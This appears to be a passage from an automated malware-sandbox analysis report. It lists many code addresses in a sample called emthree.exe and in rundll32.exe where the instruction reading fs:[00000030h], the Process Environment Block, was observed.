Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B8B58 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01013B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01013B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A138A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0109D380 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101B390 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01012397 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01014BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01014BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01014BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B5BA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE9240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE9240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE9240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE9240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010653CA mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010653CA mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010103E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010103E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010103E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010103E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010103E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010103E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FEAA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FEAA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100DBE9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010923E3 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010923E3 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010923E3 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE5210 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE5210 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE5210 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE5210 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF8A0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01003A1C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010AAA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010AAA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01024A2C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01024A2C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01074257 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010AEA55 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0109B260 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0109B260 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B8A62 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF1B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF1B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0102927A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FEDB60 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FEF358 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101FAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FEDB40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01012ACB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01012AE4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0106A537 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010AE539 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01014D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01014D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01014D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B8D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01023D43 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01063540 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01093D40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01007D50 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF849B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100C577 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100C577 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01012581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01012581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01012581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01012581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101FD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101FD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010135A1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B05AC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B05AC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01011DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01011DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01011DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01066DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01066DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01066DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01066DC9 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01066DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01066DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010AFDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010AFDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010AFDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010AFDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01098DF1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B740D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B740D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B740D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01066C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01066C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01066C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01066C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FFD5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FFD5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101BC2C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101A44B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0107C450 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0107C450 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100746D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FEAD30 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B8CD6 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A14FB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01066CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01066CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01066CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B070D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B070D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101A70E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101A70E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100F716 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0107FF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0107FF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF76E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101E730 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100B73D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100B73D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B8F6A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF766D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01067794 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01067794 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01067794 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FEE620 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010237F5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FEC600 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FEC600 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FEC600 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01018E00 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A1608 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101A61C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101A61C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0109FE3F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010AAE44 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010AAE44 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF8794 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0107FE87 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FFFF60 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010646A7 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B0EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B0EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B0EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FFEF40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01028EC7 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0109FEC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010136CC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE4F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE4F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B8ED6 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010116E0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F26CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F26CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F26CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F614FB mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F78CD6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F64496 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F64496 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F64496 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F64496 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F64496 mov eax, dword ptr fs:[00000030h]
